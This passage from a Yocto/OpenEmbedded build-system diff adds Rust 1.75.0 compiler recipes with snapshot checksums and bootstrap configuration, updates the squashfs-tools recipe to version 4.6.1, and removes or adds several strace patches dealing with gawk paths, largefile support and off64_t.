+SRC_URI[rust-std-snapshot-riscv64gc.sha256sum] = "2a500156825dde03a53c965e5764a440b1ebce973b8a31f21e8bd8104271d56e"
+SRC_URI[rustc-snapshot-riscv64gc.sha256sum] = "f4f27f1c40208b61ea7e61f9edf2de1787aea78a1edb7fe15bceb20de5c7a4a3"
+
+SRC_URI[cargo-snapshot-s390x.sha256sum] = "06267377c811271d6e4ba6feea1d4b84a9f4c5c8d1dbd46092d0a0595f24e9b6"
+SRC_URI[rust-std-snapshot-s390x.sha256sum] = "35142541b88a1244c8225c64ee18585446d7e67841a9335ccaa95acf2d34dde5"
+SRC_URI[rustc-snapshot-s390x.sha256sum] = "41eae7788549aec58a6980ae6222d3330a01a37d1e7856d087a4e9c8a19aa890"
+
+SRC_URI[cargo-snapshot-x86_64.sha256sum] = "f219386d4569c40b660518e99267afff428c13bf980bda7a614c8d4038d013f6"
+SRC_URI[rust-std-snapshot-x86_64.sha256sum] = "548413213012e2f62b08ed8a913a51210ae7402619027224580176031f2789ea"
+SRC_URI[rustc-snapshot-x86_64.sha256sum] = "7d464be2ae0d6ce69f056d1ea9a8ce2b3b1d537418caea216fdd303903972181"
+
+SRC_URI[rust-std-snapshot-i586.sha256sum] = "bd4502462c5e2b2617b23f28862e544f14c4d02658f6d331f0cfbbba914aa4c0"
+
+SRC_URI[rust-std-snapshot-sparc64.sha256sum] = "68e96875ca7fc6ed0e023fcf752f28b95e9cc7d9881af4e8e167259fdaec7168"
+
+SRC_URI += " \
+ ${RUST_DIST_SERVER}/dist/${RUST_STD_SNAPSHOT}.tar.xz;name=rust-std-snapshot-${RUST_BUILD_ARCH};subdir=rust-snapshot-components \
+ ${RUST_DIST_SERVER}/dist/${RUSTC_SNAPSHOT}.tar.xz;name=rustc-snapshot-${RUST_BUILD_ARCH};subdir=rust-snapshot-components \
+ ${RUST_DIST_SERVER}/dist/${CARGO_SNAPSHOT}.tar.xz;name=cargo-snapshot-${RUST_BUILD_ARCH};subdir=rust-snapshot-components \
+"
+
+RUST_DIST_SERVER = "https://static.rust-lang.org"
+RUST_STD_SNAPSHOT = "rust-std-${SNAPSHOT_VERSION}-${RUST_BUILD_ARCH}-unknown-linux-gnu"
+RUSTC_SNAPSHOT = "rustc-${SNAPSHOT_VERSION}-${RUST_BUILD_ARCH}-unknown-linux-gnu"
+CARGO_SNAPSHOT = "cargo-${SNAPSHOT_VERSION}-${RUST_BUILD_ARCH}-unknown-linux-gnu"
diff --git a/meta/recipes-devtools/rust/rust-source.inc b/meta/recipes-devtools/rust/rust-source.inc
new file mode 100644
index 0000000000..b14221b6cb
--- /dev/null
+++ b/meta/recipes-devtools/rust/rust-source.inc
@@ -0,0 +1,24 @@
+RUST_VERSION ?= "${@d.getVar('PV').split('-')[0]}"
+
+SRC_URI += "https://static.rust-lang.org/dist/rustc-${RUST_VERSION}-src.tar.xz;name=rust \
+ file://hardcodepaths.patch;patchdir=${RUSTSRC} \
+ file://zlib-off64_t.patch;patchdir=${RUSTSRC} \
+ file://0001-Revert-Map-source-absolute-paths-to-OUT_DIR-as-relat.patch;patchdir=${RUSTSRC} \
+ file://rv32-missing-syscalls.patch;patchdir=${RUSTSRC} \
+ file://rv32-rustix-libc-backend.patch;patchdir=${RUSTSRC} \
+ file://rv32-cargo-rustix-0.38.19-fix.patch;patchdir=${RUSTSRC} \
+ file://cargo-path.patch;patchdir=${RUSTSRC} \
+ file://custom-target-cfg.patch;patchdir=${RUSTSRC} \
+ file://rustc-bootstrap.patch;patchdir=${RUSTSRC} \
+ file://target-build-value.patch;patchdir=${RUSTSRC} \
+ file://0001-Handle-vendored-sources-when-remapping-paths.patch;patchdir=${RUSTSRC} \
+ file://repro-issue-fix-with-v175.patch;patchdir=${RUSTSRC} \
+"
+SRC_URI[rust.sha256sum] = "4526f786d673e4859ff2afa0bab2ba13c918b796519a25c1acce06dba9542340"
+
+RUSTSRC = "${WORKDIR}/rustc-${RUST_VERSION}-src"
+
+UPSTREAM_CHECK_URI = "https://forge.rust-lang.org/infra/other-installation-methods.html"
+UPSTREAM_CHECK_REGEX = "rustc-(?P<pver>\d+(\.\d+)+)-src"
+
+CVE_STATUS[CVE-2024-24576] = "not-applicable-platform: Issue only applies on Windows"
diff --git a/meta/recipes-devtools/rust/rust_1.75.0.bb b/meta/recipes-devtools/rust/rust_1.75.0.bb
new file mode 100644
index 0000000000..76e1fe2d84
--- /dev/null
+++ b/meta/recipes-devtools/rust/rust_1.75.0.bb
@@ -0,0 +1,361 @@
+SUMMARY = "Rust compiler and runtime libaries"
+HOMEPAGE = "http://www.rust-lang.org"
+SECTION = "devel"
+LICENSE = "(MIT | Apache-2.0) & Unicode-TOU"
+LIC_FILES_CHKSUM = "file://COPYRIGHT;md5=c2cccf560306876da3913d79062a54b9"
+
+inherit rust
+inherit cargo_common
+
+DEPENDS += "file-native python3-native"
+DEPENDS:append:class-native = " rust-llvm-native"
+DEPENDS:append:class-nativesdk = " nativesdk-rust-llvm"
+
+DEPENDS += "rust-llvm (=${PV})"
+
+RDEPENDS:${PN}:append:class-target = " gcc g++ binutils"
+
+# Otherwise we'll depend on what we provide
+INHIBIT_DEFAULT_RUST_DEPS:class-native = "1"
+# We don't need to depend on gcc-native because yocto assumes it exists
+PROVIDES:class-native = "virtual/${TARGET_PREFIX}rust"
+
+S = "${RUSTSRC}"
+
+# Use at your own risk, accepted values are stable, beta and nightly
+RUST_CHANNEL ?= "stable"
+PV .= "${@bb.utils.contains('RUST_CHANNEL', 'stable', '', '-${RUST_CHANNEL}', d)}"
+
+export FORCE_CRATE_HASH="${BB_TASKHASH}"
+
+RUST_ALTERNATE_EXE_PATH ?= "${STAGING_LIBDIR}/llvm-rust/bin/llvm-config"
+RUST_ALTERNATE_EXE_PATH_NATIVE = "${STAGING_LIBDIR_NATIVE}/llvm-rust/bin/llvm-config"
+
+# We don't want to use bitbakes vendoring because the rust sources do their
+# own vendoring.
+CARGO_DISABLE_BITBAKE_VENDORING = "1"
+
+# We can't use RUST_BUILD_SYS here because that may be "musl" if
+# TCLIBC="musl". Snapshots are always -unknown-linux-gnu
+setup_cargo_environment () {
+ # The first step is to build bootstrap and some early stage tools,
+ # these are build for the same target as the snapshot, e.g.
+ # x86_64-unknown-linux-gnu.
+ # Later stages are build for the native target (i.e. target.x86_64-linux)
+ cargo_common_do_configure
+}
+
+inherit rust-target-config
+
+do_rust_setup_snapshot () {
+ for installer in "${WORKDIR}/rust-snapshot-components/"*"/install.sh"; do
+ "${installer}" --prefix="${WORKDIR}/rust-snapshot" --disable-ldconfig
+ done
+
+ # Some versions of rust (e.g. 1.18.0) tries to find cargo in stage0/bin/cargo
+ # and fail without it there.
+ mkdir -p ${RUSTSRC}/build/${BUILD_SYS}
+ ln -sf ${WORKDIR}/rust-snapshot/ ${RUSTSRC}/build/${BUILD_SYS}/stage0
+
+ # Need to use uninative's loader if enabled/present since the library paths
+ # are used internally by rust and result in symbol mismatches if we don't
+ if [ ! -z "${UNINATIVE_LOADER}" -a -e "${UNINATIVE_LOADER}" ]; then
+ for bin in cargo rustc rustdoc; do
+ patchelf-uninative ${WORKDIR}/rust-snapshot/bin/$bin --set-interpreter ${UNINATIVE_LOADER}
+ done
+ fi
+}
+addtask rust_setup_snapshot after do_unpack before do_configure
+addtask do_test_compile after do_configure do_rust_gen_targets
+do_rust_setup_snapshot[dirs] += "${WORKDIR}/rust-snapshot"
+do_rust_setup_snapshot[vardepsexclude] += "UNINATIVE_LOADER"
+
+python do_configure() {
+ import json
+ import configparser
+
+ # toml is rather similar to standard ini like format except it likes values
+ # that look more JSON like. So for our purposes simply escaping all values
+ # as JSON seem to work fine.
+
+ e = lambda s: json.dumps(s)
+
+ config = configparser.RawConfigParser()
+
+ # [target.ARCH-poky-linux]
+ host_section = "target.{}".format(d.getVar('RUST_HOST_SYS'))
+ config.add_section(host_section)
+
+ llvm_config_target = d.expand("${RUST_ALTERNATE_EXE_PATH}")
+ llvm_config_build = d.expand("${RUST_ALTERNATE_EXE_PATH_NATIVE}")
+ config.set(host_section, "llvm-config", e(llvm_config_target))
+
+ config.set(host_section, "cxx", e(d.expand("${RUST_TARGET_CXX}")))
+ config.set(host_section, "cc", e(d.expand("${RUST_TARGET_CC}")))
+ config.set(host_section, "linker", e(d.expand("${RUST_TARGET_CCLD}")))
+ if "musl" in host_section:
+ config.set(host_section, "musl-root", e(d.expand("${STAGING_DIR_HOST}${exec_prefix}")))
+
+ # If we don't do this rust-native will compile it's own llvm for BUILD.
+ # [target.${BUILD_ARCH}-unknown-linux-gnu]
+ build_section = "target.{}".format(d.getVar('RUST_BUILD_SYS'))
+ if build_section != host_section:
+ config.add_section(build_section)
+
+ config.set(build_section, "llvm-config", e(llvm_config_build))
+
+ config.set(build_section, "cxx", e(d.expand("${RUST_BUILD_CXX}")))
+ config.set(build_section, "cc", e(d.expand("${RUST_BUILD_CC}")))
+ config.set(build_section, "linker", e(d.expand("${RUST_BUILD_CCLD}")))
+
+ target_section = "target.{}".format(d.getVar('RUST_TARGET_SYS'))
+ if target_section != host_section and target_section != build_section:
+ config.add_section(target_section)
+
+ config.set(target_section, "llvm-config", e(llvm_config_target))
+
+ config.set(target_section, "cxx", e(d.expand("${RUST_TARGET_CXX}")))
+ config.set(target_section, "cc", e(d.expand("${RUST_TARGET_CC}")))
+ config.set(target_section, "linker", e(d.expand("${RUST_TARGET_CCLD}")))
+
+ # [llvm]
+ config.add_section("llvm")
+ config.set("llvm", "static-libstdcpp", e(False))
+ if "llvm" in (d.getVar('TC_CXX_RUNTIME') or ""):
+ config.set("llvm", "use-libcxx", e(True))
+
+ # [rust]
+ config.add_section("rust")
+ config.set("rust", "rpath", e(True))
+ config.set("rust", "remap-debuginfo", e(True))
+ config.set("rust", "channel", e(d.expand("${RUST_CHANNEL}")))
+
+ # Whether or not to optimize the compiler and standard library
+ config.set("rust", "optimize", e(True))
+
+ # Emits extraneous output from tests to ensure that failures of the test
+ # harness are debuggable just from logfiles
+ config.set("rust", "verbose-tests", e(True))
+
+ # [build]
+ config.add_section("build")
+ config.set("build", "submodules", e(False))
+ config.set("build", "docs", e(False))
+ config.set("build", "tools", ["rust-demangler",])
+
+ rustc = d.expand("${WORKDIR}/rust-snapshot/bin/rustc")
+ config.set("build", "rustc", e(rustc))
+
+ cargo = d.expand("${WORKDIR}/rust-snapshot/bin/cargo")
+ config.set("build", "cargo", e(cargo))
+
+ config.set("build", "vendor", e(True))
+
+ config.set("build", "target", e([d.getVar("RUST_TARGET_SYS")]))
+
+ config.set("build", "host", e([d.getVar("RUST_HOST_SYS")]))
+
+ # We can't use BUILD_SYS since that is something the rust snapshot knows
+ # nothing about when trying to build some stage0 tools (like fabricate)
+ config.set("build", "build", e(d.getVar("RUST_BUILD_SYS")))
+
+ # [install]
+ config.add_section("install")
+ # ./x.py install doesn't have any notion of "destdir"
+ # but we can prepend ${D} to all the directories instead
+ config.set("install", "prefix", e(d.getVar("D") + d.getVar("prefix")))
+ config.set("install", "bindir", e(d.getVar("D") + d.getVar("bindir")))
+ config.set("install", "libdir", e(d.getVar("D") + d.getVar("libdir")))
+ config.set("install", "datadir", e(d.getVar("D") + d.getVar("datadir")))
+ config.set("install", "mandir", e(d.getVar("D") + d.getVar("mandir")))
+ config.set("install", "sysconfdir", e(d.getVar("D") + d.getVar("sysconfdir")))
+
+ with open("config.toml", "w") as f:
+ f.write('change-id = 116881\n\n')
+ config.write(f)
+
+ # set up ${WORKDIR}/cargo_home
+ bb.build.exec_func("setup_cargo_environment", d)
+}
+
+rust_runx () {
+ echo "COMPILE ${PN}" "$@"
+
+ # CFLAGS, LDFLAGS, CXXFLAGS, CPPFLAGS are used by rust's build for a
+ # wide range of targets (not just TARGET). Yocto's settings for them will
+ # be inappropriate, avoid using.
+ unset CFLAGS
+ unset LDFLAGS
+ unset CXXFLAGS
+ unset CPPFLAGS
+
+ export RUSTFLAGS="${RUST_DEBUG_REMAP}"
+
+ # Copy the natively built llvm-config into the target so we can run it. Horrible,
+ # but works!
+ if [ ${RUST_ALTERNATE_EXE_PATH_NATIVE} != ${RUST_ALTERNATE_EXE_PATH} -a ! -f ${RUST_ALTERNATE_EXE_PATH} ]; then
+ mkdir -p `dirname ${RUST_ALTERNATE_EXE_PATH}`
+ cp ${RUST_ALTERNATE_EXE_PATH_NATIVE} ${RUST_ALTERNATE_EXE_PATH}
+ if [ -e ${STAGING_LIBDIR_NATIVE}/libc++.so.1 ]; then
+ chrpath -r \$ORIGIN/../../../../../`basename ${STAGING_DIR_NATIVE}`${libdir_native} ${RUST_ALTERNATE_EXE_PATH}
+ else
+ chrpath -d ${RUST_ALTERNATE_EXE_PATH}
+ fi
+ fi
+
+ oe_cargo_fix_env
+
+ python3 src/bootstrap/bootstrap.py ${@oe.utils.parallel_make_argument(d, '-j %d')} "$@" --verbose
+}
+rust_runx[vardepsexclude] += "PARALLEL_MAKE"
+
+require rust-source.inc
+require rust-snapshot.inc
+
+INSANE_SKIP:${PN}:class-native = "already-stripped"
+FILES:${PN} += "${libdir}/rustlib"
+FILES:${PN} += "${libdir}/*.so"
+FILES:${PN}-dev = ""
+
+do_compile () {
+}
+
+do_test_compile[dirs] = "${B}"
+do_test_compile () {
+ rust_runx build src/tools/remote-test-server --target "${RUST_TARGET_SYS}"
+}
+
+ALLOW_EMPTY:${PN} = "1"
+
+PACKAGES =+ "${PN}-rustdoc ${PN}-tools-clippy ${PN}-tools-rustfmt"
+FILES:${PN}-rustdoc = "${bindir}/rustdoc"
+FILES:${PN}-tools-clippy = "${bindir}/cargo-clippy ${bindir}/clippy-driver"
+FILES:${PN}-tools-rustfmt = "${bindir}/rustfmt"
+RDEPENDS:${PN}-rustdoc = "${PN}"
+RDEPENDS:${PN}-tools-clippy = "${PN}"
+RDEPENDS:${PN}-tools-rustfmt = "${PN}"
+
+SUMMARY:${PN}-tools-clippy = "A collection of lints to catch common mistakes and improve your Rust code"
+SUMMARY:${PN}-tools-rustfmt = "A tool for formatting Rust code according to style guidelines"
+
+do_install () {
+ rust_do_install
+}
+
+rust_do_install() {
+ rust_runx install
+}
+
+rust_do_install:class-nativesdk() {
+ export PSEUDO_UNLOAD=1
+ rust_runx install
+ rust_runx install clippy
+ rust_runx install rustfmt
+ unset PSEUDO_UNLOAD
+
+ install -d ${D}${bindir}
+ for i in cargo-clippy clippy-driver rustfmt; do
+ cp build/${RUST_BUILD_SYS}/stage2-tools/${RUST_HOST_SYS}/release/$i ${D}${bindir}
+ chrpath -r "\$ORIGIN/../lib" ${D}${bindir}/$i
+ done
+
+ chown root:root ${D}/ -R
+ rm ${D}${libdir}/rustlib/uninstall.sh
+ rm ${D}${libdir}/rustlib/install.log
+ rm ${D}${libdir}/rustlib/manifest*
+}
+
+EXTRA_TOOLS ?= "cargo-clippy clippy-driver rustfmt"
+rust_do_install:class-target() {
+ export PSEUDO_UNLOAD=1
+ rust_runx install
+ rust_runx install clippy
+ rust_runx install rustfmt
+ unset PSEUDO_UNLOAD
+
+ install -d ${D}${bindir}
+ for i in ${EXTRA_TOOLS}; do
+ cp build/${RUST_BUILD_SYS}/stage2-tools/${RUST_HOST_SYS}/release/$i ${D}${bindir}
+ chrpath -r "\$ORIGIN/../lib" ${D}${bindir}/$i
+ done
+
+ install -d ${D}${libdir}/rustlib/${RUST_HOST_SYS}
+ install -m 0644 ${WORKDIR}/rust-targets/${RUST_HOST_SYS}.json ${D}${libdir}/rustlib/${RUST_HOST_SYS}/target.json
+
+ chown root:root ${D}/ -R
+ rm ${D}${libdir}/rustlib/uninstall.sh
+ rm ${D}${libdir}/rustlib/install.log
+ rm ${D}${libdir}/rustlib/manifest*
+}
+
+addtask do_update_snapshot after do_patch
+do_update_snapshot[nostamp] = "1"
+
+# Run with `bitbake -c update_snapshot rust` to update `rust-snapshot.inc`
+# with the checksums for the rust snapshot associated with this rustc-src
+# tarball.
+python do_update_snapshot() {
+ import json
+ import re
+ import sys
+
+ from collections import defaultdict
+
+ with open(os.path.join(d.getVar("S"), "src", "stage0.json")) as f:
+ j = json.load(f)
+
+ config_dist_server = j['config']['dist_server']
+ compiler_date = j['compiler']['date']
+ compiler_version = j['compiler']['version']
+
+ src_uri = defaultdict(list)
+ for k, v in j['checksums_sha256'].items():
+ m = re.search(f"dist/{compiler_date}/(?P<component>.*)-{compiler_version}-(?P<arch>.*)-unknown-linux-gnu\\.tar\\.xz", k)
+ if m:
+ component = m.group('component')
+ arch = m.group('arch')
+ src_uri[arch].append(f"SRC_URI[{component}-snapshot-{arch}.sha256sum] = \"{v}\"")
+
+ snapshot = """\
+## This is information on the rust-snapshot (binary) used to build our current release.
+## snapshot info is taken from rust/src/stage0.json
+## Rust is self-hosting and bootstraps itself with a pre-built previous version of itself.
+## The exact (previous) version that has been used is specified in the source tarball.
+## The version is replicated here.
+
+SNAPSHOT_VERSION = "%s"
+
+""" % compiler_version
+
+ for arch, components in src_uri.items():
+ snapshot += "\n".join(components) + "\n\n"
+
+ snapshot += """\
+SRC_URI += " \\
+ ${RUST_DIST_SERVER}/dist/${RUST_STD_SNAPSHOT}.tar.xz;name=rust-std-snapshot-${RUST_BUILD_ARCH};subdir=rust-snapshot-components \\
+ ${RUST_DIST_SERVER}/dist/${RUSTC_SNAPSHOT}.tar.xz;name=rustc-snapshot-${RUST_BUILD_ARCH};subdir=rust-snapshot-components \\
+ ${RUST_DIST_SERVER}/dist/${CARGO_SNAPSHOT}.tar.xz;name=cargo-snapshot-${RUST_BUILD_ARCH};subdir=rust-snapshot-components \\
+"
+
+RUST_DIST_SERVER = "%s"
+
+RUST_STD_SNAPSHOT = "rust-std-${SNAPSHOT_VERSION}-${RUST_BUILD_ARCH}-unknown-linux-gnu"
+RUSTC_SNAPSHOT = "rustc-${SNAPSHOT_VERSION}-${RUST_BUILD_ARCH}-unknown-linux-gnu"
+CARGO_SNAPSHOT = "cargo-${SNAPSHOT_VERSION}-${RUST_BUILD_ARCH}-unknown-linux-gnu"
+""" % config_dist_server
+
+ with open(os.path.join(d.getVar("THISDIR"), "rust-snapshot.inc"), "w") as f:
+ f.write(snapshot)
+}
+
+RUSTLIB_DEP:class-nativesdk = ""
+
+# musl builds include libunwind.a
+INSANE_SKIP:${PN} = "staticdev"
+
+BBCLASSEXTEND = "native nativesdk"
+
+# Since 1.70.0 upgrade this fails to build with gold:
+# http://errors.yoctoproject.org/Errors/Details/708196/
+# ld: error: version script assignment of to symbol __rust_alloc_error_handler_should_panic failed: symbol not defined
+LDFLAGS:append = "${@bb.utils.contains('DISTRO_FEATURES', 'ld-is-gold', ' -fuse-ld=bfd', '', d)}"
diff --git a/meta/recipes-devtools/squashfs-tools/files/0001-squashfs-tools-fix-build-failure-against-gcc-10.patch b/meta/recipes-devtools/squashfs-tools/files/0001-squashfs-tools-fix-build-failure-against-gcc-10.patch
deleted file mode 100644
index fc881862ea..0000000000
--- a/meta/recipes-devtools/squashfs-tools/files/0001-squashfs-tools-fix-build-failure-against-gcc-10.patch
+++ /dev/null
@@ -1,45 +0,0 @@
-From 94e1911ca24726b7cb3efe2f8b9eb7a784757e18 Mon Sep 17 00:00:00 2001
-From: Sergei Trofimovich <slyfox@gentoo.org>
-Date: Sun, 26 Jan 2020 18:35:13 +0000
-Subject: [PATCH] squashfs-tools: fix build failure against gcc-10
-MIME-Version: 1.0
-Content-Type: text/plain; charset=UTF-8
-Content-Transfer-Encoding: 8bit
-
-On gcc-10 (and gcc-9 -fno-common) build fails as:
-
-```
-cc ... -o mksquashfs
-ld: read_fs.o:(.bss+0x0):
- multiple definition of `fwriter_buffer'; mksquashfs.o:(.bss+0x400c90): first defined here
-ld: read_fs.o:(.bss+0x8):
- multiple definition of `bwriter_buffer'; mksquashfs.o:(.bss+0x400c98): first defined here
-```
-
-gcc-10 will change the default from -fcommon to fno-common:
-https://gcc.gnu.org/PR85678.
-
-The error also happens if CFLAGS=-fno-common passed explicitly.
-
-Reported-by: Toralf Förster
-Bug: https://bugs.gentoo.org/706456
-Signed-off-by: Sergei Trofimovich <slyfox@gentoo.org>
-Signed-off-by: Jacob Kroon <jacob.kroon@gmail.com>
-Upstream-Status: Backport [https://github.com/plougher/squashfs-tools/commit/fe2f5da4b0f8994169c53e84b7cb8a0feefc97b5]
----
- squashfs-tools/mksquashfs.h | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/squashfs-tools/mksquashfs.h b/squashfs-tools/mksquashfs.h
-index 1beefef..b650306 100644
---- a/squashfs-tools/mksquashfs.h
-+++ b/squashfs-tools/mksquashfs.h
-@@ -143,7 +143,7 @@ struct append_file {
- #endif
-
- extern struct cache *reader_buffer, *fragment_buffer, *reserve_cache;
--struct cache *bwriter_buffer, *fwriter_buffer;
-+extern struct cache *bwriter_buffer, *fwriter_buffer;
- extern struct queue *to_reader, *to_deflate, *to_writer, *from_writer,
- *to_frag, *locked_fragment, *to_process_frag;
- extern struct append_file **file_mapping;
diff --git a/meta/recipes-devtools/squashfs-tools/squashfs-tools_git.bb b/meta/recipes-devtools/squashfs-tools/squashfs-tools_git.bb
index b06951df36..982a43f889 100644
--- a/meta/recipes-devtools/squashfs-tools/squashfs-tools_git.bb
+++ b/meta/recipes-devtools/squashfs-tools/squashfs-tools_git.bb
@@ -1,21 +1,22 @@
# Note, we can probably remove the lzma option as it has be replaced with xz,
# and I don't think the kernel supports it any more.
SUMMARY = "Tools for manipulating SquashFS filesystems"
+HOMEPAGE = "https://github.com/plougher/squashfs-tools"
+DESCRIPTION = "Tools to create and extract Squashfs filesystems."
SECTION = "base"
-LICENSE = "GPL-2"
-LIC_FILES_CHKSUM = "file://../COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263"
+LICENSE = "GPL-2.0-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263"
-PV = "4.4"
-SRCREV = "52eb4c279cd283ed9802dd1ceb686560b22ffb67"
-SRC_URI = "git://github.com/plougher/squashfs-tools.git;protocol=https \
- file://0001-squashfs-tools-fix-build-failure-against-gcc-10.patch;striplevel=2 \
-"
+PV = "4.6.1"
+SRCREV = "d8cb82d9840330f9344ec37b992595b5d7b44184"
+SRC_URI = "git://github.com/plougher/squashfs-tools.git;protocol=https;branch=v6.1.1"
+UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>(\d+(\.\d+)+))"
-S = "${WORKDIR}/git/squashfs-tools"
+S = "${WORKDIR}/git"
EXTRA_OEMAKE = "${PACKAGECONFIG_CONFARGS}"
-PACKAGECONFIG ??= "gzip xz lzo lz4 lzma xattr reproducible"
+PACKAGECONFIG ??= "gzip xz lzo lz4 lzma xattr zstd reproducible"
PACKAGECONFIG[gzip] = "GZIP_SUPPORT=1,GZIP_SUPPORT=0,zlib"
PACKAGECONFIG[xz] = "XZ_SUPPORT=1,XZ_SUPPORT=0,xz"
PACKAGECONFIG[lzo] = "LZO_SUPPORT=1,LZO_SUPPORT=0,lzo"
@@ -26,16 +27,20 @@ PACKAGECONFIG[zstd] = "ZSTD_SUPPORT=1,ZSTD_SUPPORT=0,zstd"
PACKAGECONFIG[reproducible] = "REPRODUCIBLE_DEFAULT=1,REPRODUCIBLE_DEFAULT=0,"
do_compile() {
+ cd ${S}/squashfs-tools
oe_runmake all
}
do_install() {
- oe_runmake install INSTALL_DIR=${D}${sbindir}
+ cd ${S}/squashfs-tools
+ install -d "${D}${includedir}"
+ oe_runmake install INSTALL_PREFIX=${D}${prefix} INSTALL_MANPAGES_DIR=${D}${datadir}/man/man1
+ install -m 0644 "${S}"/squashfs-tools/squashfs_fs.h "${D}${includedir}"
}
-ARM_INSTRUCTION_SET_armv4 = "arm"
-ARM_INSTRUCTION_SET_armv5 = "arm"
-ARM_INSTRUCTION_SET_armv6 = "arm"
+ARM_INSTRUCTION_SET:armv4 = "arm"
+ARM_INSTRUCTION_SET:armv5 = "arm"
+ARM_INSTRUCTION_SET:armv6 = "arm"
BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/strace/strace/0001-caps-abbrev.awk-fix-gawk-s-path.patch b/meta/recipes-devtools/strace/strace/0001-caps-abbrev.awk-fix-gawk-s-path.patch
deleted file mode 100644
index 235e803641..0000000000
--- a/meta/recipes-devtools/strace/strace/0001-caps-abbrev.awk-fix-gawk-s-path.patch
+++ /dev/null
@@ -1,47 +0,0 @@
-From 597cc206d982e7237eb93fdc33e8c4bb6bb2d796 Mon Sep 17 00:00:00 2001
-From: Robert Yang <liezhi.yang@windriver.com>
-Date: Thu, 9 Feb 2017 01:27:49 -0800
-Subject: [PATCH] caps-abbrev.awk: fix gawk's path
-
-It should be /usr/bin/gawk as other scripts use in this package.
-
-Upstream-Status: Pending
-
-Signed-off-by: Robert Yang <liezhi.yang@windriver.com>
-
----
- tests-m32/caps-abbrev.awk | 2 +-
- tests-mx32/caps-abbrev.awk | 2 +-
- tests/caps-abbrev.awk | 2 +-
- 3 files changed, 3 insertions(+), 3 deletions(-)
-
-diff --git a/tests-m32/caps-abbrev.awk b/tests-m32/caps-abbrev.awk
-index c00023b..a56cd56 100644
---- a/tests-m32/caps-abbrev.awk
-+++ b/tests-m32/caps-abbrev.awk
-@@ -1,4 +1,4 @@
--#!/bin/gawk
-+#!/usr/bin/gawk
- #
- # This file is part of caps strace test.
- #
-diff --git a/tests-mx32/caps-abbrev.awk b/tests-mx32/caps-abbrev.awk
-index c00023b..a56cd56 100644
---- a/tests-mx32/caps-abbrev.awk
-+++ b/tests-mx32/caps-abbrev.awk
-@@ -1,4 +1,4 @@
--#!/bin/gawk
-+#!/usr/bin/gawk
- #
- # This file is part of caps strace test.
- #
-diff --git a/tests/caps-abbrev.awk b/tests/caps-abbrev.awk
-index c00023b..a56cd56 100644
---- a/tests/caps-abbrev.awk
-+++ b/tests/caps-abbrev.awk
-@@ -1,4 +1,4 @@
--#!/bin/gawk
-+#!/usr/bin/gawk
- #
- # This file is part of caps strace test.
- #
diff --git a/meta/recipes-devtools/strace/strace/0001-configure-Use-autoconf-macro-to-detect-largefile-sup.patch b/meta/recipes-devtools/strace/strace/0001-configure-Use-autoconf-macro-to-detect-largefile-sup.patch
new file mode 100644
index 0000000000..76ca7a76a8
--- /dev/null
+++ b/meta/recipes-devtools/strace/strace/0001-configure-Use-autoconf-macro-to-detect-largefile-sup.patch
@@ -0,0 +1,27 @@
+From 470399f3636c412b74f9daf6ae430b13c3126f02 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Thu, 15 Dec 2022 15:54:27 -0800
+Subject: [PATCH] configure: Use autoconf macro to detect largefile support
+
+Adds --enable-largefile/--disable-largefile configure knobs
+where default is to detect the support
+
+Upstream-Status: Submitted [https://github.com/strace/strace/pull/230]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ configure.ac | 2 ++
+ 1 file changed, 2 insertions(+)
+
+diff --git a/configure.ac b/configure.ac
+index 4797b42dd..7d57fb254 100644
+--- a/configure.ac
++++ b/configure.ac
+@@ -43,6 +43,8 @@ AC_PROG_INSTALL
+ AC_PROG_RANLIB
+ AC_PROG_LN_S
+
++AC_SYS_LARGEFILE
++
+ AC_USE_SYSTEM_EXTENSIONS
+ AX_CODE_COVERAGE
+
diff --git a/meta/recipes-devtools/strace/strace/0002-tests-Replace-off64_t-with-off_t.patch b/meta/recipes-devtools/strace/strace/0002-tests-Replace-off64_t-with-off_t.patch
new file mode 100644
index 0000000000..0cabdfe99f
--- /dev/null
+++ b/meta/recipes-devtools/strace/strace/0002-tests-Replace-off64_t-with-off_t.patch
@@ -0,0 +1,52 @@
+From 579b2ebe52d4b97f954e6188df2d07e137820075 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Thu, 15 Dec 2022 15:56:13 -0800
+Subject: [PATCH] tests: Replace off64_t with off_t
+
+when _FILE_OFFSET_BITS=64 then off_t is 64bit wide, this also fixes
+build on musl where off64_t is not available without _LARGEFILE64_SOURCE
+
+Upstream-Status: Submitted [https://github.com/strace/strace/pull/230]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ tests/readahead.c | 2 +-
+ tests/sync_file_range2.c | 4 ++--
+ 2 files changed, 3 insertions(+), 3 deletions(-)
+
+--- a/tests/readahead.c
++++ b/tests/readahead.c
+@@ -42,7 +42,7 @@ static const int fds[] = {
+ 0x7fffffff,
+ };
+
+-static const off64_t offsets[] = {
++static const off_t offsets[] = {
+ -0x8000000000000000LL,
+ -0x5060708090a0b0c0LL,
+ -1LL,
+--- a/tests/sync_file_range2.c
++++ b/tests/sync_file_range2.c
+@@ -20,8 +20,8 @@ int
+ main(void)
+ {
+ const int fd = -1;
+- const off64_t offset = 0xdeadbeefbadc0ded;
+- const off64_t nbytes = 0xfacefeedcafef00d;
++ const off_t offset = 0xdeadbeefbadc0ded;
++ const off_t nbytes = 0xfacefeedcafef00d;
+ const unsigned int flags = -1;
+
+ int rc = sync_file_range(fd, offset, nbytes, flags);
+--- a/tests/sync_file_range.c
++++ b/tests/sync_file_range.c
+@@ -20,8 +20,8 @@ int
+ main(void)
+ {
+ const int fd = -1;
+- const off64_t offset = 0xdeadbeefbadc0dedULL;
+- const off64_t nbytes = 0xfacefeedcafef00dULL;
++ const off_t offset = 0xdeadbeefbadc0dedULL;
++ const off_t nbytes = 0xfacefeedcafef00dULL;
+ const unsigned int flags = -1;
+
+ int rc = sync_file_range(fd, offset, nbytes, flags);
diff --git a/meta/recipes-devtools/strace/strace/Makefile-ptest.patch b/meta/recipes-devtools/strace/strace/Makefile-ptest.patch
index 42c1893f39..9af7737662 100644
--- a/meta/recipes-devtools/strace/strace/Makefile-ptest.patch
